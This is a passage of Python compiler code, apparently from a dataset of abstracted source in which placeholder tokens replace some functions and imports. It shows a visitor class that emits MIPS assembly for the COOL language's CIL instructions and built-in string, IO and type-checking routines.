self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a1 0($a1)')\n self.write_file('mulu $a1 $a1 4')\n self.write_file('addu $a1 $a1 $s1')\n self.write_file('lw $a1 0($a1)')\n self.write_file('move $a2 $0')\n self.write_file('move $t2 $a1')\n self.write_file('_str_len_clsname_:', tabbed=False)\n self.write_file('lb $a0 0($t2)')\n self.write_file('beq $a0 $0 _end_clsname_len_')\n self.write_file('addiu $a2 $a2 1')\n self.write_file('addiu $t2 $t2 1')\n self.write_file('j _str_len_clsname_')\n self.write_file('_end_clsname_len_:', tabbed=False)\n self.write_file('sw $a2, 12($v0)')\n self.write_file('sw $v0, 12($v1)')\n self.write_file('sw $a1, 16($v1)')\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_length(self):\n self.write_file('function_String_length:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 12($fp)')\n self.write_file('lw $v0 12($a0)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_concat(self):\n self.write_file('function_String_concat:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $t3 $v0')\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a2 16($fp)')\n self.write_file('lw $t1 12($a1)')\n self.write_file('lw $t1 12($t1)')\n self.write_file('lw $t2 12($a2)')\n self.write_file('lw $t2 12($t2)')\n self.write_file('addu $t0 $t2 $t1')\n self.write_file('sw $t0 12($v1)')\n self.write_file('lw $a1 16($a1)')\n self.write_file('lw $a2 16($a2)')\n self.write_file('addiu $t0 $t0 1')\n self.allocate_memory('$t0', register=True)\n self.write_file('move $t5 $v0')\n self.write_file('move $t4 $a1')\n self.write_file('addu $a1 $a1 $t1')\n self.write_file('_strcat_copy_:', tabbed=False)\n self.write_file('beq $t4 $a1 _end_strcat_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_')\n self.write_file('_end_strcat_copy_:', tabbed=False)\n self.write_file('move $t4 $a2')\n self.write_file('addu $a2 $a2 $t2')\n self.write_file('_strcat_copy_snd_:', tabbed=False)\n self.write_file('beq $t4 $a2 _end_strcat_copy_snd_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_snd_')\n self.write_file('_end_strcat_copy_snd_:', tabbed=False)\n self.write_file('sb $0 0($t5)')\n self.write_file('sw $v1 12($t3)')\n self.write_file('sw $v0 16($t3)')\n self.write_file('move $v0 $t3')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_substr(self):\n self.write_file('function_String_substr:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t5 12($fp)')\n self.write_file(f'lw $a1 16($fp)')\n self.write_file(f'lw $a1 12($a1)')\n self.write_file(f'lw $a2 20($fp)')\n self.write_file(f'lw $a2 12($a2)')\n self.write_file(f'blt $a1 $0 _index_negative')\n self.write_file(f'blt $a2 $0 _index_negative')\n self.write_file(f'add $a2 $a1 $a2')\n self.write_file(f'lw $a3 12($t5)')\n self.write_file(f'lw $a3 12($a3)')\n self.write_file(f'bgt $a2 $a3 _index_out')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file(f'move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file(f'move $t0 $v0')\n self.write_file(f'move $t7 $a2')\n self.write_file(f'subu $t7 $t7 $a1')\n self.write_file(f'sw $t7 12($t0)')\n self.allocate_memory('$a2', register=True)\n self.write_file(f'sw $t0 12($v1)')\n self.write_file(f'sw $v0 16($v1)')\n self.write_file('move $t1 $v0')\n self.write_file('lw $t5 16($t5)')\n self.write_file('move $t4 $t5')\n self.write_file('addu $t4 $t4 $a1')\n self.write_file('addu $t5 $t5 $a2')\n self.write_file('_substr_copy_:', tabbed=False)\n self.write_file('bge $t4 $t5 _end_substr_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t1)')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _substr_copy_')\n self.write_file(f'_index_negative:', tabbed=False)\n self.write_file(f'la $a0 _index_negative_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_index_out:', tabbed=False)\n self.write_file(f'la $a0 _index_out_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_subst_abort:', tabbed=False)\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file('la\\t$a0 _abort_msg')\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file(f'li $v0 10')\n self.write_file(f'syscall')\n self.write_file('_end_substr_copy_:', tabbed=False)\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n <function token>\n\n def io_in_string(self):\n self.write_file('function_IO_in_string:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('sw $v1 12($v0)')\n self.write_file('move $t5 $v0')\n self.write_file('la $a0 str_buffer')\n self.write_file('li $a1 1025')\n self.write_file('li $v0 8')\n self.write_file('syscall')\n self.write_file('move $a0 $0')\n self.write_file('la $t2 str_buffer')\n self.write_file('_in_string_str_len_:', tabbed=False)\n self.write_file('lb $t0 0($t2)')\n self.write_file('beq $t0 $0 _end_in_string_str_len_')\n self.write_file('beq $t0 10 _end_in_string_str_len_')\n self.write_file('addiu $a0 $a0 1')\n self.write_file('addiu $t2 $t2 1')\n self.write_file('j _in_string_str_len_')\n self.write_file('_end_in_string_str_len_:', tabbed=False)\n self.write_file('sw $a0 12($v1)')\n self.allocate_memory()\n self.write_file('la $t4 str_buffer')\n self.write_file('move $t1 $v0')\n self.write_file('_in_str_copy_:', tabbed=False)\n self.write_file('lb $t0 0($t4)')\n self.write_file('beq $t0 $0 _end_in_str_copy_')\n self.write_file('beq $t0 10 _end_in_str_copy_')\n self.write_file('sb $t0 0($t1)')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('j _in_str_copy_')\n self.write_file('_end_in_str_copy_:', tabbed=False)\n self.write_file('sw $v0 16($t5)')\n self.write_file('la $t4 str_buffer')\n self.write_file('_in_str_clean_:', tabbed=False)\n self.write_file('lb $t0 0($t4)')\n self.write_file('beq $t0 $0 _end_in_str_clean_')\n self.write_file('sb $0 0($t4)')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _in_str_clean_')\n self.write_file('_end_in_str_clean_:', tabbed=False)\n self.write_file('move $v0 $t5')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_out_int(self):\n self.write_file('function_IO_out_int:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 16($fp)')\n self.write_file('lw $a0 12($a0)')\n self.write_file('li $v0 1')\n self.write_file('syscall')\n self.write_file('lw $v0 12($fp)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_out_string(self):\n self.write_file('function_IO_out_string:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 16($fp)')\n self.write_file('lw $a0 16($a0)')\n self.write_file('li $v0 4')\n self.write_file('syscall')\n self.write_file('lw $v0 12($fp)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def conforms(self):\n self.write_file(f'function_{CONFORMS_FUNC}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t0 12($fp)')\n self.write_file(f'lw $t1 16($fp)')\n self.write_file(\n f'beq $t1 {self.type_index.index(OBJECT_CLASS)} _conforms_ret_true_'\n )\n self.write_file('_conforms_loop_:', tabbed=False)\n self.write_file('beq $t0 $t1 _conforms_ret_true_')\n self.write_file(\n f'beq $t0 {self.type_index.index(OBJECT_CLASS)} _conforms_ret_false_'\n )\n self.write_file('mulu $t0 $t0 4')\n self.write_file('addu $t0 $t0 $s2')\n self.write_file('lw $t0 0($t0)')\n self.write_file('j _conforms_loop_')\n self.write_file('_conforms_ret_true_:', tabbed=False)\n self.write_file('li $v0 1')\n self.write_file('j _conforms_ret_')\n self.write_file('_conforms_ret_false_:', tabbed=False)\n self.write_file('li $v0 0')\n self.write_file('_conforms_ret_:')\n self.write_file('jr $ra')\n self.write_file('')\n\n def isvoid(self):\n self.write_file(f'function_{ISVOID_FUNC}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=BOOLEAN_CLASS))\n self.write_file(f'lw $t0 12($fp)')\n self.write_file(f'la $t1 {VOID_MIPS_NAME}')\n self.write_file(f'beq $t0 $t1 _is_void_true_')\n self.write_file(f'sw $0 12($v0)')\n self.write_file(f'j _is_void_end_')\n self.write_file(f'_is_void_true_:', tabbed=False)\n self.write_file(f'li $t0 1')\n self.write_file(f'sw $t0 12($v0)')\n self.write_file(f'_is_void_end_:', tabbed=False)\n self.write_file(f'jr $ra')\n self.write_file(f'')\n",
"<docstring token>\n<import token>\n<code token>\n<import token>\n\n\nclass MipsVisitor:\n <docstring token>\n\n def __init__(self, inherit_graph, output_file='mips_code.mips'):\n self.inherit_graph, _ = inherit_graph\n self.offset = dict()\n self.type_index = []\n self.dispatchtable_code = []\n self.prototypes_code = []\n self.cur_labels_id = 0\n self.output_file = output_file\n\n def push(self):\n self.write_file('sw $a0 0($sp)')\n self.write_file('addiu $sp $sp -4')\n\n def pop(self, dest=None):\n self.write_file(f'addiu $sp $sp 4')\n\n def write_file(self, msg, mode='a', tabbed=True):\n f = open(self.output_file, mode)\n f.write('{}{}\\n'.format('\\t' if tabbed else '', msg))\n f.close()\n\n def allocate_memory(self, size=None, register=False):\n if register:\n self.write_file('move $a0 {}'.format(size))\n elif size:\n self.write_file('li $a0 {}'.format(size))\n self.write_file('li $v0 9')\n self.write_file('syscall')\n <function token>\n\n @visitor.on('node')\n def visit(self, node):\n pass\n\n @visitor.when(cil.Program)\n def visit(self, node: cil.Program):\n self.write_file('', 'w')\n self.write_file('.data', tabbed=False)\n self.static_datas()\n for data in node.data_section:\n self.visit(data)\n self.write_file('')\n for i in range(len(node.type_section)):\n self.type_index.append(node.type_section[i].type_name)\n self.write_file('classname_{}: .asciiz \"{}\"'.format(node.\n type_section[i].type_name, node.type_section[i].type_name))\n self.write_file(f'{VOID_MIPS_NAME}: .asciiz \"\"')\n self.write_file('\\n.text')\n self.entry()\n self.write_file('\\n########## STATIC FUNCTIONS ##########\\n')\n self.conforms()\n self.isvoid()\n self.object_abort()\n self.object_copy()\n self.object_typename()\n self.string_length()\n self.string_concat()\n self.string_substr()\n self.io_in_int()\n self.io_in_string()\n self.io_out_int()\n self.io_out_string()\n for t in node.type_section:\n self.visit(t)\n self.write_file('\\n############## TABLES ################\\n')\n self.write_file('function_build_class_name_table:', tabbed=False)\n self.allocate_memory(len(node.type_section) * 4)\n self.write_file('move $s1 $v0')\n for i in range(len(node.type_section)):\n self.write_file('la $t1 classname_{}'.format(node.type_section[\n i].type_name))\n self.write_file('sw $t1 {}($s1)'.format(4 * i))\n self.write_file('')\n self.write_file('function_allocate_prototypes_table:', tabbed=False)\n self.allocate_memory(8 * len(self.type_index))\n self.write_file('move $s0 $v0')\n self.write_file('')\n self.write_file('function_build_prototypes:', tabbed=False)\n for ins in self.prototypes_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_dispatch_tables:', tabbed=False)\n for ins in self.dispatchtable_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_class_parents_table:', tabbed=False)\n self.allocate_memory(4 * len(self.type_index))\n self.write_file('move $s2 $v0')\n self.write_file('')\n for parent in self.inherit_graph.keys():\n p_index = self.type_index.index(parent)\n for child in self.inherit_graph[parent]:\n ch_index = self.type_index.index(child.name)\n self.write_file(f'li $t0 {ch_index}')\n self.write_file(f'mul $t0 $t0 4')\n self.write_file(f'add $t0 $t0 $s2')\n self.write_file(f'li $t1 {p_index}')\n self.write_file(f'sw $t1 0($t0)')\n self.write_file('')\n self.write_file('')\n self.write_file('\\n########### COOL FUNCTIONS ##########\\n')\n for func in node.code_section:\n is_built_in = False\n if not INIT_CIL_SUFFIX in func.name:\n is_built_in = [x for x in BUILT_IN_CLASSES if f'{x}_' in\n func.name] != []\n if not is_built_in:\n self.visit(func)\n self.write_file('\\n#####################################\\n')\n <function token>\n\n @visitor.when(cil.Type)\n def visit(self, node: cil.Type):\n self.dispatchtable_code.append(f'# Type {node.type_name}')\n self.dispatchtable_code.append('li $a0 {}'.format(4 * len(node.\n methods)))\n self.dispatchtable_code.append('li $v0 9')\n self.dispatchtable_code.append('syscall')\n for i in range(len(node.methods)):\n self.dispatchtable_code.append('la $t1 function_{}'.format(node\n .methods[i].function_name))\n self.dispatchtable_code.append('sw $t1 {}($v0)'.format(4 * i))\n self.dispatchtable_code.append('lw $t0 {}($s0)'.format(8 * self.\n type_index.index(node.type_name)))\n self.dispatchtable_code.append('sw $v0 8($t0)')\n self.dispatchtable_code.append('')\n self.prototypes_code.append(f'# Type {node.type_name}')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('li $v0 9')\n self.prototypes_code.append('syscall')\n class_index = self.type_index.index(node.type_name)\n self.prototypes_code.append('li $a0 {}'.format(class_index))\n self.prototypes_code.append('sw $a0 0($v0)')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('sw $a0 4($v0)')\n self.prototypes_code.append('sw $v0 {}($s0)'.format(8 * class_index))\n self.prototypes_code.append('')\n\n @visitor.when(cil.Function)\n def visit(self, node: cil.Function):\n self.write_file(f'function_{node.name}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'subiu $sp, $sp, {4 * len(node.vlocals)}')\n for i in range(len(node.args)):\n self.offset[node.args[i].name] = 12 + i * 4\n for i in range(len(node.vlocals)):\n self.offset[node.vlocals[i].name] = i * -4\n for inst in node.body:\n if isinstance(inst, cil.Equal) or isinstance(inst, cil.Div):\n inst.id = self.new_labels_id()\n self.visit(inst)\n self.write_file(f'addiu $sp, $sp, {4 * len(node.vlocals)}')\n self.write_file('jr $ra')\n self.write_file('')\n\n @visitor.when(cil.Assign)\n def visit(self, node: cil.Assign):\n self.write_file('# ASSIGN')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.source]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n <function token>\n <function token>\n\n @visitor.when(cil.Mult)\n def visit(self, node: cil.Mult):\n self.write_file('# *')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n self.write_file('mul $a0, $a0, $a1')\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n <function token>\n\n @visitor.when(cil.Equal)\n def visit(self, node: cil.Equal):\n self.write_file('lw $t0 {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $t1 {}($fp)'.format(self.offset[node.right]))\n self.write_file(f'beq $t0 $zero _eq_false_{node.id}_')\n self.write_file(f'beq $t1 $zero _eq_false_{node.id}_')\n self.write_file('lw $a0 0($t0)')\n self.write_file('lw $a1 0($t1)')\n self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')\n self.write_file('li $a2 {}'.format(self.type_index.index(\n INTEGER_CLASS)))\n self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\n self.write_file('li $a2 {}'.format(self.type_index.index(\n BOOLEAN_CLASS)))\n self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\n self.write_file('li $a2 {}'.format(self.type_index.index(STRING_CLASS))\n )\n self.write_file(f'bne $a0 $a2 _not_basic_type_{node.id}_')\n self.write_file(f'_eq_str_{node.id}_:', tabbed=False)\n self.write_file('lw\\t$t3 12($t0)')\n self.write_file('lw\\t$t3 12($t3)')\n self.write_file('lw\\t$t4, 12($t1)')\n self.write_file('lw\\t$t4, 12($t4)')\n self.write_file(f'bne $t3 $t4 _eq_false_{node.id}_')\n self.write_file(f'beq $t3 $0 _eq_true_{node.id}_')\n self.write_file('addu $t0 $t0 16')\n self.write_file('lw $t0 0($t0)')\n self.write_file('addu $t1 $t1 16')\n self.write_file('lw $t1 0($t1)')\n self.write_file('move $t2 $t3')\n self.write_file(f'_verify_ascii_sequences_{node.id}_:', tabbed=False)\n self.write_file('lb $a0 0($t0)')\n self.write_file('lb $a1 0($t1)')\n self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')\n self.write_file('addu $t0 $t0 1')\n self.write_file('addu $t1 $t1 1')\n self.write_file('addiu $t2 $t2 -1')\n self.write_file(f'bnez $t2 _verify_ascii_sequences_{node.id}_')\n self.write_file(f'b _eq_true_{node.id}_')\n self.write_file(f'_not_basic_type_{node.id}_:', tabbed=False)\n self.write_file(f'bne $t0 $t1 _eq_false_{node.id}_')\n self.write_file(f'b _eq_true_{node.id}_')\n self.write_file(f'_eq_int_bool_{node.id}:', tabbed=False)\n self.write_file('lw $a3 12($t0)')\n self.write_file('lw $t4 12($t1)')\n self.write_file(f'bne $a3 $t4 _eq_false_{node.id}_')\n self.write_file(f'_eq_true_{node.id}_:', tabbed=False)\n self.write_file('li $a0 1')\n self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'b end_equal_{node.id}_')\n self.write_file(f'_eq_false_{node.id}_:', tabbed=False)\n self.write_file('li $a0 0')\n self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'end_equal_{node.id}_:', tabbed=False)\n <function token>\n\n @visitor.when(cil.EqualOrLessThan)\n def visit(self, node: cil.EqualOrLessThan):\n self.write_file('# <=')\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a2, {}($fp)'.format(self.offset[node.right]))\n self.write_file('sle $a0, $a1, $a2'.format(self.offset[node.right]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.GetAttrib)\n def visit(self, node: cil.GetAttrib):\n self.write_file('# GETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.SetAttrib)\n def visit(self, node: cil.SetAttrib):\n self.write_file('# SETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n if isinstance(node.src, int):\n self.write_file(f'li $a0, {node.src}')\n elif node.src[:5] == 'data_':\n self.write_file(f'la $a0, {node.src}')\n else:\n self.write_file(f'lw $a0 {self.offset[node.src]}($fp)')\n self.write_file(f'sw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file('')\n\n @visitor.when(cil.TypeOf)\n def visit(self, node: cil.TypeOf):\n self.write_file('# TYPEOF')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 0($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.Allocate)\n def visit(self, node: cil.Allocate):\n self.write_file('# ALLOCATE')\n if node.ttype == VOID_TYPE:\n self.write_file(f'la $v0 {VOID_MIPS_NAME}')\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n else:\n offset_proto = self.type_index.index(node.ttype) * 8\n self.write_file('lw $t0 {}($s0)'.format(offset_proto))\n self.write_file('sw $t0, 0($sp)')\n self.write_file('addiu $sp, $sp, -4')\n self.write_file('')\n self.visit(cil.Call(dest=node.dest, f='Object_copy'))\n self.write_file('addiu $sp, $sp, 4')\n self.write_file('')\n\n @visitor.when(cil.Call)\n def visit(self, node: cil.Call):\n self.write_file('# CALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n self.write_file(f'jal function_{node.f}')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n if node.dest:\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.VCall)\n def visit(self, node: cil.VCall):\n self.write_file('# VCALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n if node.ttype[0] == '_':\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n else:\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n self.write_file(f'mulu $a2, $a2, 8')\n self.write_file(f'addu $a2, $a2, $s0')\n self.write_file(f'lw $a1, 0($a2)')\n self.write_file(f'lw $a2, 8($a1)')\n self.write_file(f'lw $a0 {node.f * 4}($a2)')\n self.write_file(f'jalr $a0')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n if node.ttype[0] != '_':\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n else:\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.PushParam)\n def visit(self, node: cil.PushParam):\n self.write_file('# PUSHPARAM')\n if node.name[0] != '_':\n self.write_file('li $a0, {}'.format(self.type_index.index(node.\n name)))\n else:\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.name]))\n self.push()\n self.write_file('')\n\n @visitor.when(cil.PopParam)\n def visit(self, node: cil.PopParam):\n self.write_file('# POPPARAM')\n self.pop(node.name)\n self.write_file('')\n\n @visitor.when(cil.Return)\n def visit(self, node: cil.Return):\n self.write_file('# RETURN')\n self.write_file('lw $v0, {}($fp)'.format(self.offset[node.value]))\n\n @visitor.when(cil.Label)\n def visit(self, node: cil.Label):\n self.write_file('_cil_label_{}:'.format(node.name), tabbed=False)\n\n @visitor.when(cil.Goto)\n def visit(self, node: cil.Goto):\n self.write_file('# GOTO')\n self.write_file('j _cil_label_{}'.format(node.label))\n self.write_file('')\n\n @visitor.when(cil.IfGoto)\n def visit(self, node: cil.IfGoto):\n self.write_file('# IF GOTO')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.condition]))\n self.write_file('bnez $a0, _cil_label_{}'.format(node.label))\n self.write_file('')\n <function token>\n <function token>\n <function token>\n\n def object_copy(self):\n self.write_file('function_Object_copy:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $t0 12($fp)')\n self.write_file('lw $a0 4($t0)')\n self.write_file('move $t4 $a0')\n self.write_file('li $v0 9')\n self.write_file('syscall')\n self.write_file('move $t2 $v0')\n self.write_file('li $t3 0')\n self.write_file('_objcopy_loop:', tabbed=False)\n self.write_file('lw $t1 0($t0)')\n self.write_file('sw $t1 0($v0)')\n self.write_file('addiu $t0 $t0 4')\n self.write_file('addiu $v0 $v0 4')\n self.write_file('addiu $t3 $t3 4')\n self.write_file('ble $t4 $t3 _objcopy_loop')\n self.write_file('_objcopy_div_end_:', tabbed=False)\n self.write_file('move $v0 $t2')\n self.write_file('jr $ra')\n self.write_file('')\n\n def object_typename(self):\n self.write_file('function_Object_type_name:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a1 0($a1)')\n self.write_file('mulu $a1 $a1 4')\n self.write_file('addu $a1 $a1 $s1')\n self.write_file('lw $a1 0($a1)')\n self.write_file('move $a2 $0')\n self.write_file('move $t2 $a1')\n self.write_file('_str_len_clsname_:', tabbed=False)\n self.write_file('lb $a0 0($t2)')\n self.write_file('beq $a0 $0 _end_clsname_len_')\n self.write_file('addiu $a2 $a2 1')\n self.write_file('addiu $t2 $t2 1')\n self.write_file('j _str_len_clsname_')\n self.write_file('_end_clsname_len_:', tabbed=False)\n self.write_file('sw $a2, 12($v0)')\n self.write_file('sw $v0, 12($v1)')\n self.write_file('sw $a1, 16($v1)')\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_length(self):\n self.write_file('function_String_length:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 12($fp)')\n self.write_file('lw $v0 12($a0)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_concat(self):\n self.write_file('function_String_concat:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $t3 $v0')\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a2 16($fp)')\n self.write_file('lw $t1 12($a1)')\n self.write_file('lw $t1 12($t1)')\n self.write_file('lw $t2 12($a2)')\n self.write_file('lw $t2 12($t2)')\n self.write_file('addu $t0 $t2 $t1')\n self.write_file('sw $t0 12($v1)')\n self.write_file('lw $a1 16($a1)')\n self.write_file('lw $a2 16($a2)')\n self.write_file('addiu $t0 $t0 1')\n self.allocate_memory('$t0', register=True)\n self.write_file('move $t5 $v0')\n self.write_file('move $t4 $a1')\n self.write_file('addu $a1 $a1 $t1')\n self.write_file('_strcat_copy_:', tabbed=False)\n self.write_file('beq $t4 $a1 _end_strcat_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_')\n self.write_file('_end_strcat_copy_:', tabbed=False)\n self.write_file('move $t4 $a2')\n self.write_file('addu $a2 $a2 $t2')\n self.write_file('_strcat_copy_snd_:', tabbed=False)\n self.write_file('beq $t4 $a2 _end_strcat_copy_snd_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_snd_')\n self.write_file('_end_strcat_copy_snd_:', tabbed=False)\n self.write_file('sb $0 0($t5)')\n self.write_file('sw $v1 12($t3)')\n self.write_file('sw $v0 16($t3)')\n self.write_file('move $v0 $t3')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_substr(self):\n self.write_file('function_String_substr:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t5 12($fp)')\n self.write_file(f'lw $a1 16($fp)')\n self.write_file(f'lw $a1 12($a1)')\n self.write_file(f'lw $a2 20($fp)')\n self.write_file(f'lw $a2 12($a2)')\n self.write_file(f'blt $a1 $0 _index_negative')\n self.write_file(f'blt $a2 $0 _index_negative')\n self.write_file(f'add $a2 $a1 $a2')\n self.write_file(f'lw $a3 12($t5)')\n self.write_file(f'lw $a3 12($a3)')\n self.write_file(f'bgt $a2 $a3 _index_out')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file(f'move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file(f'move $t0 $v0')\n self.write_file(f'move $t7 $a2')\n self.write_file(f'subu $t7 $t7 $a1')\n self.write_file(f'sw $t7 12($t0)')\n self.allocate_memory('$a2', register=True)\n self.write_file(f'sw $t0 12($v1)')\n self.write_file(f'sw $v0 16($v1)')\n self.write_file('move $t1 $v0')\n self.write_file('lw $t5 16($t5)')\n self.write_file('move $t4 $t5')\n self.write_file('addu $t4 $t4 $a1')\n self.write_file('addu $t5 $t5 $a2')\n self.write_file('_substr_copy_:', tabbed=False)\n self.write_file('bge $t4 $t5 _end_substr_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t1)')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _substr_copy_')\n self.write_file(f'_index_negative:', tabbed=False)\n self.write_file(f'la $a0 _index_negative_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_index_out:', tabbed=False)\n self.write_file(f'la $a0 _index_out_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_subst_abort:', tabbed=False)\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file('la\\t$a0 _abort_msg')\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file(f'li $v0 10')\n self.write_file(f'syscall')\n self.write_file('_end_substr_copy_:', tabbed=False)\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n <function token>\n\n def io_in_string(self):\n self.write_file('function_IO_in_string:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('sw $v1 12($v0)')\n self.write_file('move $t5 $v0')\n self.write_file('la $a0 str_buffer')\n self.write_file('li $a1 1025')\n self.write_file('li $v0 8')\n self.write_file('syscall')\n 